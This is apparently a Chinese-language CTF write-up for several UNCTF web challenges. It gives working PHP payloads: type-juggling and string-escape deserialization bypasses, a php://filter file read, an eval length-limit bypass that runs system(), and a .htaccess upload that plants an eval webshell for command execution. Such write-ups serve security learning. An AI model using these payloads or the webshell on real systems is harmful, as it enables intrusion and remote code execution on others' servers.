前言
unctf的平台上还有前两年的赛题,本着不做白不做的精神,我们做一下。
ezphp
审计源码:
1 | <?php |
我们要送一个序列化数组进去,但是要让username的值为admin,password的值为password。直接构造这个数组序列化是通不过的,因为反序列化的结果就是个Array。
这里要运用到布尔的trick,bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。
因此构建payload:
1 | data=a:2:{s:8:"username";b:1;s:8:"password";b:1;} |
传入得到flag。
L0vephp
进入网页提示我们查看源码,右键被ban就f12,发现:B4Z0-@:OCnDf,
测试下是base85,解出来是get action
,但是没有源码出现,继续尝试任意文件读取:
1 | ?action=php://filter/read=string.toupper|string.rot13/resource=flag.php |
源码中发现出现了新内容:
1 | ?CUC |
rot13解密:
1 | ?php |
hint中16进制转字符串:1nD3x.php
进入后这下要读源码了:
1 | <?php |
绕rce,除了waf还限制了长度,之前能用的方法基本是绝了。但是p牛之前有一篇博客:
eval长度限制绕过 && PHP5.6新特性
这篇博客里介绍了一个方法——数组展开,payload:
1 | ?1[]=test&1[]=system('ls');&2=assert |
最后命令执行获取flag。
easyunserialize
审计源码:
1 | <?php |
很经典的一道反序列化字符串逃逸,我们审计代码发现只要让password的值为easy就可以了,但是题目设置了变量password的值恒定为1,因此我们只能通过反序列化字符串逃逸的方式让password逃逸出来。
我们先构造密码部分需要逃逸的反序列化:
1 | ";s:8:"password";s:4:"easy";} |
总共29个字符,接着发现源码中的替换逻辑是增加4个字符,因此需要进行8次替换,并且还需要补3位。不过由于反序列化结束后不会继续的原理,把这三位字符补到最后就可以了。
构建payload,传入获取flag:
1 | challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}ook |
checkin-sql
这题做的都麻了,看了wp才懂。首先这里是单引号sql,并且过滤了一众函数导致常用注入手段失效。题目提示我们flag不在数据库中,那很有可能就是文件写入了,但是我试图直接写马发现写不进去。
然后就歇了,看wp发现要利用到mysql的储存过程进行写入,先放两个地址在这:
MySQL 存储过程 | 菜鸟教程
MySQL存储过程 | 博客园
payload:
1 | <?php |
接着写入就可以了,exp:
1 | import requests |
跑脚本就可以得到flag。
babywrite
这个是2021那次的题,当时太菜了没做出来,这里就复现下。
审计代码:
1 | <?php |
很经典的写入,很粗暴的waf,很卑鄙的限制长度。首先发现php文件是不能直接上传的,这意味着我们只能上传图片马,那上传图片马自然就想到要用到.htaccess
。
当时是真的菜,居然连数组绕过正则匹配都不知道,然后就卡在这了半天死活做不出来,现在懂了所以就简单了。
我们传入:
1 | ?filename=.htaccess&content[]=AddType application/x-httpd-php .png |
然后传入shell:
1 | ?filename=1.png&content[]=<?php @eval($_POST['mrl64']); |
最后直接rce就可以了:
1 | mrl64=system('cat /flag'); |